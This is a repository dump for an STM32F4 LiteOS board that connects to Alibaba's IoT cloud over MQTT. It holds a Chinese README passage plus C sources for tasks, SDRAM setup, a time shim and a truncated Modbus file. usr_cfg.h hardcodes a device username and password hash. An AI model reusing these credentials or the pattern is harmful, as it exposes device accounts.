3ใ€่ฝฏไปถๆ–นๆกˆ ----------- ๅตŒๅ…ฅๅผ่ฝฏไปถๅŒ…ๆ‹ฌๅฆ‚ไธ‹ๅ‡ ้ƒจๅˆ†๏ผšLiteOSๆ ธๅฟƒใ€ๅผ€ๅ‘ๆฟ้ฉฑๅŠจใ€STM32F4ๅบ•ๅฑ‚ๅบ“ใ€LWIPๅ่ฎฎๆ ˆใ€MQTTๅบ“ๅ’ŒAlink็›ธๅ…ณๅฎž็Žฐไปฃ็ ใ€‚ LiteOS + LWIP + MQTT + ALINK <----> ้˜ฟ้‡Œไบ‘ ไธ‰ใ€ๆŽฅๅ…ฅ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ ==================== ็•ฅ ๅ››ใ€ๅ…ณ้”ฎๆบไปฃ็ ่งฃๆž ================== 1ใ€็จ‹ๅบๆ–‡ไปถไป‹็ป --------------- starup - ๅฏๅŠจๆ–‡ไปถ user - ็”จๆˆทๆ–‡ไปถ drivers - ๅผ€ๅ‘ๆฟBSP้ฉฑๅŠจ stm32f4xx_std_periph - STM32ๆ ‡ๅ‡†ๅบ“ liteos/cmsis - LiteOS cmsisๆŽฅๅฃ liteos/kernel - LiteOSๆ ธๅฟƒๆ–‡ไปถ liteos/arch - LiteOSไธป่ฆๆ–‡ไปถ lwip - Lwipๅ่ฎฎๆ ˆ mqtt - MQTTๅบ“ alibaba - ้˜ฟ้‡Œไบ‘ๅนณๅฐ็›ธๅ…ณๆ–‡ไปถ 2ใ€็จ‹ๅบไธปๅ‡ฝๆ•ฐ่ฏดๆ˜Ž ----------------- ๏ผˆ1๏ผ‰ๅ†…ๆ ธๅˆๅง‹ๅŒ–ใ€็กฌไปถๅˆๅง‹ๅŒ–ใ€ๅ่ฎฎๆ ˆๅˆๅง‹ๅŒ– ๏ผˆ2๏ผ‰ๅˆ›ๅปบไธ‰ไธชไปปๅŠก๏ผšไธ€ไธชๆ˜ฏๅผ€ๅง‹ไปปๅŠก๏ผŒไธ€ไธชๆ˜ฏDHCPๅค„็†๏ผŒๅฆๅค–ไธ€ไธชๆ˜ฏmqttๆ•ฐๆฎๆ”ถๅ‘ใ€‚ 3ใ€ๅ…ณ้”ฎไปฃ็ ่ฏดๆ˜Ž --------------- ๏ผˆ1๏ผ‰LwIP_DHCP_taskไปปๅŠก๏ผŒไธป่ฆๅค„็†TCPIP็›ธๅ…ณไธšๅŠกใ€‚ ๏ผˆ2๏ผ‰mqtt_clientไปปๅŠก๏ผŒไธป่ฆๅค„็†้˜ฟ้‡Œๅนณๅฐ็š„็™ปๅฝ•ๅ’Œๆ•ฐๆฎ็š„ๆ”ถๅ‘๏ผŒ่ฟ›่€ŒๆŽงๅˆถIO็Šถๆ€๏ผŒๆ˜ฏๆ•ดไธชไธšๅŠก็š„ๆ ธๅฟƒใ€‚ 4ใ€ไธŠไผ ๆ•ฐๆฎไปฃ็ ่ฏฆ่งฃ ------------------- ๏ผˆ1๏ผ‰ๆŠŠ็”ตๆบ็Šถๆ€ๆŒ‰Alinkๅ่ฎฎ็š„ๆ ผๅผ่ฟ›่กŒๆ‰“ๅŒ… //{"method":"thing.event.property.post","id":"2008001","params":{"PowerSwitch":1},"version":"1.0.0"} static int serial; sprintf(msg_pub, ALINK_BODY_FORMAT,ALINK_METHOD_PROP_POST, ++serial,UserSwitch); ๏ผˆ2๏ผ‰ๆŠŠๆ•ฐๆฎๆŽจ้€ๅˆฐไบ‘็ซฏ rc = IOT_MQTT_Publish(pclient, ALINK_TOPIC_PROP_POST, &topic_msg); 3ใ€ไธ‹ๅ‘ๅ‘ฝไปคไปฃ็ ่ฏฆ่งฃ ------------------- ๏ผˆ1๏ผ‰ๆ‰ง่กŒๆ•ฐๆฎๅค„็†๏ผŒๆŽฅๆ”ถไฟกๆฏๅ้ฆˆ /* handle the MQTT packet received from TCP or SSL connection */ IOT_MQTT_Yield(pclient, 200); ๏ผˆ2๏ผ‰่ฎข้˜…ๅ้ฆˆ static void _demo_message_arrive(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg) if(ptopic_info->topic_len==50) { const char *inf = "\"PowerSwitch\":"; char *dat = strstr(ptopic_info->payload, inf); dat += strlen(inf); UserSwitch = dat[0] - '0'; if(UserSwitch==0) { LED_RGBOFF; } else { LED_BLUE; } } ไบ”ใ€ไบงๅ“่ฐƒ่ฏ• ============ 1ใ€็กฌไปถ่ฐƒ่ฏ• ----------- ๏ผˆ1๏ผ‰ไปฅๅคช็ฝ‘ๅฃๆ’ๅ…ฅ็ฝ‘็บฟ 2ใ€่ฝฏไปถ่ฐƒ่ฏ• ----------- ๏ผˆ1๏ผ‰ไธŠ็”ต่ฟ่กŒใ€‚ ๏ผˆ2๏ผ‰ๆŠŠๅผ€ๅ‘ๆฟUSB่ฝฌไธฒๅฃๆŽฅๅ…ฅ็”ต่„‘๏ผŒๆ‰“ๅผ€ไธฒๅฃ่ฐƒ่ฏ•ๅ™จ๏ผˆ115200๏ผŒๆ— ๆ ก้ชŒ๏ผ‰๏ผŒๅฏไปฅ็œ‹ๅˆฐๅ„็ง่ฟ่กŒไฟกๆฏใ€‚ ๏ผˆ3๏ผ‰ๆ‰“ๅผ€้˜ฟ้‡Œไบ‘็‰ฉ่”็ฝ‘ๅนณๅฐ๏ผŒๅœจ่ฎพๅค‡่ฟ่กŒ็Šถๆ€ไธญ๏ผŒๅฏไปฅ็œ‹ๅˆฐไธŠไผ ็š„ๆ•ฐๆฎ๏ผŒๅœจ่ฐƒ่ฏ•็Šถๆ€ๅฏไปฅ่ฎพ็ฝฎ็Šถๆ€ใ€‚ ๏ผˆ4๏ผ‰้˜ฟ้‡Œๅœฐๅ€๏ผšhttps://account.aliyun.com/login/login.htm?qrCodeFirst=false&oauth_callback=https%3A%2F%2Fliving.aliyun.com%2F#/ ``` strings.h ```#ifndef STRINGS_H #define STRINGS_H #endif /* STRINGS_H */ ``` main.c ```/** ****************************************************************************** * @file main.c * @author fire * @version V1.0 * @date 2015-xx-xx * @brief TCP Clientไพ‹็จ‹ ****************************************************************************** * @attention * * ๅฎž้ชŒๅนณๅฐ:็ง‰็ซ STM32 F429 ๅผ€ๅ‘ๆฟ * ่ฎบๅ› :http://www.firebbs.cn * ๆท˜ๅฎ :https://fire-stm32.taobao.com * ****************************************************************************** */ //#include "stm32f4xx.h" #include "bsp_led.h" #include "./Bsp/usart/bsp_debug_usart.h" #include "./Bsp/systick/bsp_SysTick.h" #include "bsp_key.h" #include "lwip/tcp.h" #include "netconf.h" #include "LAN8742A.h" #include "tcp_echoclient.h" #include "bsp_dht11.h" #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" #include "cmsis_os.h" #include <stdio.h> #include "ds18b20.h" #include "stm32f4xx_conf.h" #include "dwt.h" #include "cjson.h" #include "malloc.h" #include "dwt.h" /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; UINT32 g_TskHandle; cJSON *json; extern __IO uint8_t EthLinkStatus; extern __IO uint32_t LocalTime; /* this variable is used to create a time reference incremented by 10ms */ /* Private function prototypes -----------------------------------------------*/ static void TIM3_Config(uint16_t period,uint16_t prescaler); /* Private functions ---------------------------------------------------------*/ /** * @brief ไธปๅ‡ฝๆ•ฐ * @param ๆ—  * @retval ๆ—  */ void TIM3_IRQHandler(void); void hieth_hw_init() { } extern void HAL_ETH_IRQHandler(void); void hardware_init(void) { LED_GPIO_Config(); Key1_GPIO_Config(); Key2_GPIO_Config(); KeyCreate(&Key1,GetPinStateOfKey1); KeyCreate(&Key2,GetPinStateOfKey2); Debug_USART_Config(); DS18B20_GPIO_Config(); DelayInit(SystemCoreClock); LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL); LOS_HwiCreate(ETH_IRQn, 1,0,HAL_ETH_IRQHandler,0); TIM3_Config(999,899); printf("Sysclock is %d\r\n",SystemCoreClock); /* Configure ethernet (GPIOs, clocks, MAC, DMA) */ ETH_BSP_Config(); printf("LAN8720A BSP INIT AND COMFIGURE SUCCESS\n"); DHT11_GPIO_Config(); } VOID task1() { int count = 0; while(1) { count++; printf("------This is task1,count is %d\r\n",count); LOS_TaskDelay(2000); } } UINT32 creat_task1() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task1"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task1; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } UINT32 mainDHT11task() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "mainDHT11"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mainDHT11; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } VOID task2() { int count = 0; while(1) { count++; printf("++++++++This is task2,count is %d\r\n",count); LOS_TaskDelay(1000); } } UINT32 creat_task2() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task2"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } const char text1[]="{\n\"Project\": \"HuaweiLiteOS oneNET\", \n\"format\": {\"type\": \"rect\", \n\"width\": 1920, \n\"height\": 1080, \n\"interlace\": false,\"frame rate\": 24\n}\n}"; VOID task3() { int count = 0; int count1 = 0; int count2 = 0; int sum=0; unsigned int count3 = 0; uint8_t flag=0; cJSON *tmp; printf("LAN8720A Ethernet Demo\n"); printf(" KEY1: ๅฏๅŠจTCP่ฟžๆŽฅ\n"); printf(" KEY2: ๆ–ญๅผ€TCP่ฟžๆŽฅ\n"); //IPๅœฐๅ€ๅ’Œ็ซฏๅฃๅฏๅœจnetconf.hๆ–‡ไปถไฟฎๆ”น๏ผŒๆˆ–่€…ไฝฟ็”จDHCPๆœๅŠก่‡ชๅŠจ่Žทๅ–IP(้œ€่ฆ่ทฏ็”ฑๅ™จๆ”ฏๆŒ) printf("ๆœฌๅœฐIPๅ’Œ็ซฏๅฃ: %d.%d.%d.%d\n",IP_ADDR0,IP_ADDR1,IP_ADDR2,IP_ADDR3); printf("่ฟœ็ซฏIPๅ’Œ็ซฏๅฃ: %d.%d.%d.%d:%d\n",DEST_IP_ADDR0, DEST_IP_ADDR1, DEST_IP_ADDR2, DEST_IP_ADDR3,DEST_PORT); /* Initilaize the LwIP stack */ LwIP_Init(); json=cJSON_Parse(text1); if (json != NULL) { //tmp = cJSON_GetObjectItem(json,"format"); tmp = cJSON_GetObjectItem(json,"Project"); if(tmp != NULL) { printf("cJSON:Project=%s\n",tmp->valuestring); //cJSON_Delete(tmp); } } tcp_echoclient_connect(); int flag1=0; int flag2=1; while(1) { Key_RefreshState(&Key1);//ๅˆทๆ–ฐๆŒ‰้”ฎ็Šถๆ€ Key_RefreshState(&Key2);//ๅˆทๆ–ฐๆŒ‰้”ฎ็Šถๆ€ if(count1++>30500) { mainDHT11();count1=0; } if(count++>30500&&flag2==1) { GETdata();//่Žทๅ–ๆ•ฐๆฎ count=0; flag1=1; flag2=0; } if(count2++>30500&&flag1==1) { MCU_to_TCP();//ไธŠไผ ๆ•ฐๆฎ flag1=0; flag2=1; count2=0; } recDataAnalyze();//่งฃๆžๆŽฅๆ”ถๅˆฐ็š„ๆ•ฐๆฎ if((Key_Scan(KEY1_GPIO_PORT,KEY1_PIN)==KEY_ON) ) { Delay10ms(100); MCU_to_TCP(); } if(flag==0)//(Key_Scan(KEY1_GPIO_PORT,KEY1_PIN)==KEY_ON) && { LED33=~LED33; if (EthLinkStatus == 0) { printf("connect to tcp server\n"); /*connect to tcp server */ tcp_echoclient_connect();//่ฟžๆŽฅๆœๅŠกๅ™จ flag=1; } } if(count3++>500000)//ๆœๅŠกๅ™จๅฟƒ่ทณ๏ผŒ้˜ฒๆญขๅ‘้€ๆ•ฐๆฎๅ‡บ้”™ๆ—ถๆ–ญๅผ€ๆœๅŠก { sum++; printf("RESET tcp server:%d\n",sum); tcp_echoclient_disconnect();//ๆ–ญๅผ€ๆœๅŠกๅ™จ LOS_TaskDelay(2); /*connect to tcp server */ tcp_echoclient_connect();//่ฟžๆŽฅๆœๅŠกๅ™จ LOS_TaskDelay(2); count3=0; } if((Key_Scan(KEY2_GPIO_PORT,KEY2_PIN)==KEY_ON) && flag==1) { LED33=~LED33; tcp_echoclient_disconnect(); flag=0; } /* check if any packet received */ if (ETH_CheckFrameReceived()) { /* process received ethernet packet */ LwIP_Pkt_Handle(); } /* handle periodic timers for LwIP */ LwIP_Periodic_Handle(LocalTime); } } UINT32 creat_task3() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task3"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task3; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } UINT32 creat_task_18b20() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "maindsp18b20"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)maindsp18b20; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } /*UINT32 creat_MCU_TO_TCP() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "GETdata"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)GETdata; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; }*/ int main(void) { UINT32 uwRet = LOS_OK; LOS_KernelInit();//????? hardware_init();//????? // uwRet = creat_task1(); //if(uwRet != LOS_OK) //{ // return uwRet; //} /*uwRet = creat_task_18b20(); if(uwRet != LOS_OK) { return uwRet; }*/ uwRet = creat_task3(); if(uwRet != LOS_OK) { return uwRet; } /* uwRet = mainDHT11task(); if(uwRet != LOS_OK) { return uwRet; }*/ /*uwRet = creat_MCU_TO_TCP(); if(uwRet != LOS_OK) { return uwRet; }*/ LOS_Start();//??LiteOS } /** * @brief ้€š็”จๅฎšๆ—ถๅ™จ3ไธญๆ–ญๅˆๅง‹ๅŒ– * @param period : ่‡ชๅŠจ้‡่ฃ…ๅ€ผใ€‚ * @param prescaler : ๆ—ถ้’Ÿ้ข„ๅˆ†้ข‘ๆ•ฐ * @retval ๆ—  * @note ๅฎšๆ—ถๅ™จๆบขๅ‡บๆ—ถ้—ด่ฎก็ฎ—ๆ–นๆณ•:Tout=((period+1)*(prescaler+1))/Ft us. * Ft=ๅฎšๆ—ถๅ™จๅทฅไฝœ้ข‘็އ,ไธบSystemCoreClock/2=90,ๅ•ไฝ:Mhz */ static void TIM3_Config(uint16_t period,uint16_t prescaler) { TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); ///ไฝฟ่ƒฝTIM3ๆ—ถ้’Ÿ TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; //ๅฎšๆ—ถๅ™จๅˆ†้ข‘ TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; //ๅ‘ไธŠ่ฎกๆ•ฐๆจกๅผ TIM_TimeBaseInitStructure.TIM_Period=period; //่‡ชๅŠจ้‡่ฃ…่ฝฝๅ€ผ TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1; TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure); TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); //ๅ…่ฎธๅฎšๆ—ถๅ™จ3ๆ›ดๆ–ฐไธญๆ–ญ TIM_Cmd(TIM3,ENABLE); //ไฝฟ่ƒฝๅฎšๆ—ถๅ™จ3 NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; //ๅฎšๆ—ถๅ™จ3ไธญๆ–ญ NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; //ๆŠขๅ ไผ˜ๅ…ˆ็บง1 NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; //ๅญไผ˜ๅ…ˆ็บง3 NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE; NVIC_Init(&NVIC_InitStructure); } /** * @brief ๅฎšๆ—ถๅ™จ3ไธญๆ–ญๆœๅŠกๅ‡ฝๆ•ฐ * @param ๆ—  * @retval ๆ—  */ void TIM3_IRQHandler(void) { if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) //ๆบขๅ‡บไธญๆ–ญ { LocalTime+=10;//10msๅขž้‡ } TIM_ClearITPendingBit(TIM3,TIM_IT_Update); //ๆธ…้™คไธญๆ–ญๆ ‡ๅฟ—ไฝ } /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ ``` usr_cfg.h ```/****************************************************************************** * File : usr_cfg.h * Function : Configuration of user. * Description: Input Product ID, Device name, User Name, Password, Client ID * Publish topic and Subscribe topic. * Version : V1.00 * Author : Ian * Date : 13th May 2018 * History : No. When Who What * 1 13/May/2018 Ian Create ******************************************************************************/ #ifndef _USR_CFG_H_ #define _USR_CFG_H_ #ifdef __cplusplus extern "C" { #endif #define LOS_IOT_PRODUCT_ID "DXJQTLK47X" #define LOS_IOT_DEV_NAME "Sensor1" #define LOS_IOT_USR_NAME "DXJQTLK47XSensor1;21010406;12365;1526407892" #define LOS_IOT_PASSWORD "60c5b920b2f12b0fbe162a9f5a0092d5c057bd73;hmacsha1" #define LOS_IOT_PUB_DATA "LiteOS for IoT!!" #define LOS_IOT_CLIENT_ID "DXJQTLK47XSensor1" #define LOS_IOT_PUB_TOPIC "DXJQTLK47X/Sensor1/event" #define LOS_IOT_SUB_TOPIC "DXJQTLK47X/Sensor1/control" #define LOS_IOT_LOCAL_IP1 192 #define LOS_IOT_LOCAL_IP2 168 #define LOS_IOT_LOCAL_IP3 31 #define LOS_IOT_LOCAL_IP4 195 #define LOS_IOT_GW1 192 #define LOS_IOT_GW2 168 #define LOS_IOT_GW3 31 #define LOS_IOT_GW4 1 #ifdef __cplusplus } #endif #endif /* _USR_CFG_H_ */ /* End of file */ ``` agenttime_liteos.c ```// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #include "azure_c_shared_utility/gballoc.h" #include <time.h> #include "azure_c_shared_utility/agenttime.h" #include "bsp_rtc.h" #include "los_task.h" static time_t system_time = 0; void sntp_set_system_time(time_t t) { LOS_TaskLock(); system_time = t; LOS_TaskUnlock(); printf("current time = %lu\r\n", system_time); } unsigned long liteos_mktime(const unsigned int year0, const unsigned int mon0, const unsigned int day, const unsigned int hour, const unsigned int min, const unsigned int sec) { unsigned int mon = mon0, year = year0; /* 1..12 -> 11,12,1..10 */ if (0 >= (int) (mon -= 2)) { mon += 12; /* Puts Feb last since it has leap day */ year -= 1; } return ((((unsigned long) (year/4 - year/100 + year/400 + 367*mon/12 + day) + year*365 - 719499 )*24 + hour /* now have hours */ )*60 + min /* now have minutes */ )*60 + sec; /* finally seconds */ } time_t get_time(time_t* p) { time_t t; LOS_TaskLock(); t = system_time; if (p) { *p = t; } LOS_TaskUnlock(); return t; } struct tm* get_gmtime(time_t* currentTime) { return 0;//gmtime(currentTime); } time_t get_mktime(struct tm* cal_time) { return 0;// mktime(cal_time); } char* get_ctime(time_t* timeToGet) { return 0;//ctime(timeToGet); } double get_difftime(time_t stopTime, time_t startTime) { return (double)(stopTime - startTime); }``` bsp_sdram.c ```#include "bsp_sdram.h" #define REFRESH_COUNT ((uint32_t)0x056A) /* SDRAM refresh counter (90MHz SDRAM clock) */ SDRAM_HandleTypeDef hsdram; FMC_SDRAM_TimingTypeDef SDRAM_Timing; FMC_SDRAM_CommandTypeDef command; static void SDRAM_Initialization_Sequence(SDRAM_HandleTypeDef *hsdram, FMC_SDRAM_CommandTypeDef *Command); void SDRAM_Init(void) { /*##-1- Configure the SDRAM device #########################################*/ /* SDRAM device configuration */ hsdram.Instance = FMC_SDRAM_DEVICE; /* Timing configuration for 90 MHz of SDRAM clock frequency (180MHz/2) */ /* TMRD: 2 Clock cycles */ SDRAM_Timing.LoadToActiveDelay = 2; /* TXSR: min=70ns (6x11.90ns) */ SDRAM_Timing.ExitSelfRefreshDelay = 7; /* TRAS: min=42ns (4x11.90ns) max=120k (ns) */ SDRAM_Timing.SelfRefreshTime = 4; /* TRC: min=63 (6x11.90ns) */ SDRAM_Timing.RowCycleDelay = 7; /* TWR: 2 Clock cycles */ SDRAM_Timing.WriteRecoveryTime = 2; /* TRP: 15ns => 2x11.90ns */ SDRAM_Timing.RPDelay = 2; /* TRCD: 15ns => 2x11.90ns */ SDRAM_Timing.RCDDelay = 2; hsdram.Init.SDBank = FMC_SDRAM_BANK2; hsdram.Init.ColumnBitsNumber = FMC_SDRAM_COLUMN_BITS_NUM_8; hsdram.Init.RowBitsNumber = FMC_SDRAM_ROW_BITS_NUM_12; hsdram.Init.MemoryDataWidth = SDRAM_MEMORY_WIDTH; hsdram.Init.InternalBankNumber = FMC_SDRAM_INTERN_BANKS_NUM_4; hsdram.Init.CASLatency = FMC_SDRAM_CAS_LATENCY_3; hsdram.Init.WriteProtection = FMC_SDRAM_WRITE_PROTECTION_DISABLE; hsdram.Init.SDClockPeriod = SDCLOCK_PERIOD; hsdram.Init.ReadBurst = FMC_SDRAM_RBURST_DISABLE; hsdram.Init.ReadPipeDelay = FMC_SDRAM_RPIPE_DELAY_1; /* Initialize the SDRAM controller */ if(HAL_SDRAM_Init(&hsdram, &SDRAM_Timing) != HAL_OK) { /* Initialization Error */ Error_Handler(); } /* Program the SDRAM external device */ SDRAM_Initialization_Sequence(&hsdram, &command); } static void SDRAM_Initialization_Sequence(SDRAM_HandleTypeDef *hsdram, FMC_SDRAM_CommandTypeDef *Command) { __IO uint32_t tmpmrd =0; /* Step 3: Configure a clock configuration enable command */ Command->CommandMode = FMC_SDRAM_CMD_CLK_ENABLE; Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2; Command->AutoRefreshNumber = 1; Command->ModeRegisterDefinition = 0; /* Send the command */ HAL_SDRAM_SendCommand(hsdram, Command, 0x1000); /* Step 4: Insert 100 ms delay */ HAL_Delay(100); /* Step 5: Configure a PALL (precharge all) command */ Command->CommandMode = FMC_SDRAM_CMD_PALL; Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2; Command->AutoRefreshNumber = 1; Command->ModeRegisterDefinition = 0; /* Send the command */ HAL_SDRAM_SendCommand(hsdram, Command, 0x1000); /* Step 6 : Configure a Auto-Refresh command */ Command->CommandMode = FMC_SDRAM_CMD_AUTOREFRESH_MODE; Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2; Command->AutoRefreshNumber = 4; Command->ModeRegisterDefinition = 0; /* Send the command */ HAL_SDRAM_SendCommand(hsdram, Command, 0x1000); /* Step 7: Program the external memory mode register */ tmpmrd = (uint32_t)SDRAM_MODEREG_BURST_LENGTH_2 | SDRAM_MODEREG_BURST_TYPE_SEQUENTIAL | SDRAM_MODEREG_CAS_LATENCY_3 | SDRAM_MODEREG_OPERATING_MODE_STANDARD | SDRAM_MODEREG_WRITEBURST_MODE_SINGLE; Command->CommandMode = FMC_SDRAM_CMD_LOAD_MODE; Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2; Command->AutoRefreshNumber = 1; Command->ModeRegisterDefinition = tmpmrd; /* Send the command */ HAL_SDRAM_SendCommand(hsdram, Command, 0x1000); /* Step 8: Set the refresh rate counter */ /* (15.62 us x Freq) - 20 */ /* Set the device refresh counter */ HAL_SDRAM_ProgramRefreshRate(hsdram, REFRESH_COUNT); } ``` modbus.c ```/** * @file modbus.c */ // Std Lib #include <string.h> // LiteOS #include "los_hwi.h" // Personal #include "modbus.h" #include "bsp_led.h" /* extern define ----------------------------------------------------------*/ /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ #ifndef Min #define Min(a,b) (((a) < (b)) ? (a) : (b)) #endif #ifndef MAKEWORD #define MAKEWORD(a, b) ((uint16_t)((a&0x00FF) | ((uint16_t)(b&0x00FF)) << 8)) #endif #define Modbus_Crc16(pBuff, c) crc16_ex(&(c), 1, &(pBuff)->modbusRxCRC) /* Private variables ---------------------------------------------------------*/ uint8_t uBuffRecv[NUM_RX_BUFF]; uint16_t uRecvLen=0; /* public variables ---------------------------------------------------------*/ TBuffModbus stBufModbus; TMotor stMotor; /** ็”ตๅŠจๆœบ็Šถๆ€ไฟกๆฏ */ TDateTime stNowTime; /** ่ฝฏไปถๆจกๆ‹Ÿ็š„ไธ€ไธช os ๆ—ฅๆœŸ + ๆ—ถ้—ด, ็ฒพ็กฎๅˆฐ ms */ /* Private function prototypes -----------------------------------------------*/ static void Modbus_OnReceiveOneByte(TBuffModbus *pBuff, uint8_t uChar); /* Function ------------------------------------------------------------------*/ void USART2_IRQHandler(void); /** For Calc CRC */ const uint16_t crc16_xtab[256] = { 0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241, 0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440, 0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40, 0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841, 0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40, 0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41, 0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641, 0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040, 0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240, 0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441, 0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41, 0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840, 0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41, 0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40, 0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640, 0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041, 0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240, 0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441, 0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41, 0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840, 0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41, 0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40, 0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640, 0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041, 0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241, 0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440, 0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40, 0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841, 0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40, 0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41, 0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641, 0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040 }; /** Calc CRC */ void crc16_ex(uint8_t * buf, uint32_t len, uint16_t * crc) { while (len--) { *crc = ((*crc) >> 8) ^ crc16_xtab[ ((*crc) ^ (*buf&0x00ff))&0x00ff ]; buf++; } } /** * usart2 for RS485 */ void RS485_USART2_Config(void) { GPIO_InitTypeDef GPIO_InitStructure; USART_InitTypeDef USART_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_AHB1PeriphClockCmd( 